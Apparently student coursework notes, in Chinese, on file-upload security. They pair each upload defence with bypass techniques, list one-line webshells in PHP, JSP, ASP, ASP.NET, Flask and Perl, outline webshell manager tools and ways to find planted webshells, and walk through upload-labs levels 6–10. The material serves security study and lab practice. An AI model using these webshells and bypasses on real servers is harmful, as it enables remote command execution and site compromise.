1. 文件上传防御手段及绕过手段总结
1)JavaScript 前端校验
防御手段:在前端通过 JavaScript 对文件类型、大小、扩展名等进行校验。
绕过方法:禁用 JavaScript,或使修改 JavaScript 代码。直接构造请求。不使用浏览器,但是不常用。
2)校验文件上传类型
防御手段:在服务端检查上传文件的扩展名是否在允许的范围内。
绕过方法:更改文件扩展名(例如,将 1.php
改为 1.php.jpg
或其他允许的类型)。
3)校验文件内容
防御手段:通过读取文件内容,验证文件头以确保其与声明的文件类型一致。
绕过方法:修改文件头(在木马文件的开头添加图片的文件头,然后再加入木马)。或者将木马写入图片末尾。构造双重扩展文件名,如 shell.jpg.php
,部分服务器可能只校验第一段扩展名。
4)校验文件大小
防御手段:限制上传文件的大小,防止上传超大文件导致拒绝服务(DoS)攻击或服务器内存炸了。
绕过方法:上传一个小巧的 Webshell 文件(例如,只有几 KB 的 PHP Webshell)。尝试分块上传,如果服务器允许多部分文件上传合并。
5)校验文件路径
防御手段:限制文件的上传路径,防止文件上传到可执行目录(如 /var/www/html
)中。
绕过方法:如果存在目录穿越漏洞,可以使用 ../
绕过路径校验,将文件上传到敏感路径下。查找配置错误的路径或软链接指向可以访问的目录。
6)校验请求头 Content-Type
字段
防御手段:检查上传请求中的 Content-Type
字段是否与实际文件内容匹配。绕过方法:使用工具(如 Burp Suite)修改请求头 Content-Type
为合法值,同时保持恶意文件内容不变。图片马
7)文件上传后存储到存储桶(如 Amazon S3、Azure Blob Storage)
防御手段:将文件上传到存储桶等不执行代码的存储区域。
绕过方法:利用服务器的其他漏洞(如 SSRF)访问并执行文件。使用钓鱼攻击诱导管理员下载并运行恶意文件。
8)文件上传后重写文件名
防御手段:服务器自动重命名上传文件,防止上传文件被直接访问或利用。
绕过方法:尝试通过其他漏洞(如信息泄露)获取重命名后的文件名。
9)设置可执行目录白名单
防御手段:只允许指定目录(白名单)中的文件具有可执行权限,其他目录中的文件为不可执行状态。
绕过方法:寻找目标服务器的配置错误(如误配置的目录)允许执行上传的恶意文件。
2. 文件上传常用一句话木马
1)php
<?php @eval($_POST['cmd']); ?>
<?php system($_GET['cmd']); ?>
<?php @eval(base64_decode($_POST['cmd'])); ?>
2)jsp
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
3) asp
<% eval request("cmd") %>
4)sap.net
<% @System.Diagnostics.Process.Start(Request["cmd"]) %>
5)python Flask
exec(request.args.get('cmd'))
6)perl
print `$_GET{'cmd'}`;
3. 课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)
1)蚁剑
(1)创建木马
(2)创建链接
(3)配置代理
2)冰蝎
(1)配置代理
(2)创建连接
(3)抓包
3)哥斯拉
(1)生成木马
(2)创建连接
(3)抓包分析
4. 文件上传无回显如何查找webshell地址
1)代码审计
对网站的源代码进行审计,检查是否存在未经验证的用户输入、不安全的文件处理逻辑等漏洞。通过代码审计,可以发现潜在的Webshell上传点,并了解攻击者可能利用的路径。
2)检查网站目录结构
如果上传的Webshell文件位于网站的某个特定目录下(如uploads、images等),可以尝试直接访问这些目录以查找可疑文件。使用文件管理器或命令行工具遍历网站的目录结构,查找具有不寻常文件名或文件权限的文件
3)分析服务器日志
查看Web服务器的访问日志和错误日志,寻找与文件上传相关的异常条目或请求。这些日志可能包含有关上传文件路径的线索。特别是,如果试图通过Webshell执行命令或访问敏感资源,这些行为可能会在日志中留下痕迹
4)Webshell扫描工具
使用专业的Webshell扫描工具(D盾_Web查杀、Web Shell Detector等)对网站进行全面扫描,这些工具可以检测并定位到潜在的Webshell文件。注意,扫描工具可能会误报,因此需要对扫描结果进行进一步验证。
5)文件系统检查搜索新文件
使用系统命令或文件搜索工具(如find、grep在Linux上,或dir、findstr在Windows上)来搜索最近创建或修改的文件,特别是那些位于Web根目录或可写目录下的文件。
5. 文件上传表单的无参/有参情况下构造表单 -- 加分项
1)无参情况
(1)表单的method
属性必须设置为POST
方法,不能使用GET
方法。
(2)表单的enctype
属性需要设置为multipart/form-data
。
(3)表单的action
属性需要设置为提交到后台处理文件上传的地址,例如uploadFile.jsp
程序文件用来处理上传的文件。上传文件元素使用<input .../>
标签,属性设置为type="file"
。如果需要上传多个文件,可以在<input .../>
标签中设置不同的名称。
2)有参情况
(1)在有参情况下,表单除了包含文件上传元素外,还可能包含其他表单元素,如文本框、密码框、复选框等。
(2)表单的构造除了上述无参情况下的要求外,还需要为其他表单元素设置相应的属性和值。
(3)有参表单在提交时,除了文件数据外,还会包含其他表单字段的数据,这些数据可以用于服务器端的处理和验证。
6. upload-labs靶场通关第6-第10关
第六关:
1)发现未禁止php文件
2)将木马php文件的后缀名改为全大写后上传
(3)使用蚁剑连接
第七关:
(1)分析源码
(2)发现将空格加到后缀即可
第八关:
(1)与之前类似,缺少去除, 的函数
(2)抓包后修改后缀即可
第九关:
(1)分析代码发现:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来
(2)于是改,后缀为:.php. .
第十关:
(1)分析代码
(2)发现str_ireplace函数仅仅对文件名称进行了替换,替换之后的后缀没有进行黑名单验证,这里我们就可以使用双写文件后缀进行文件上传,例如filename="test.pphphp"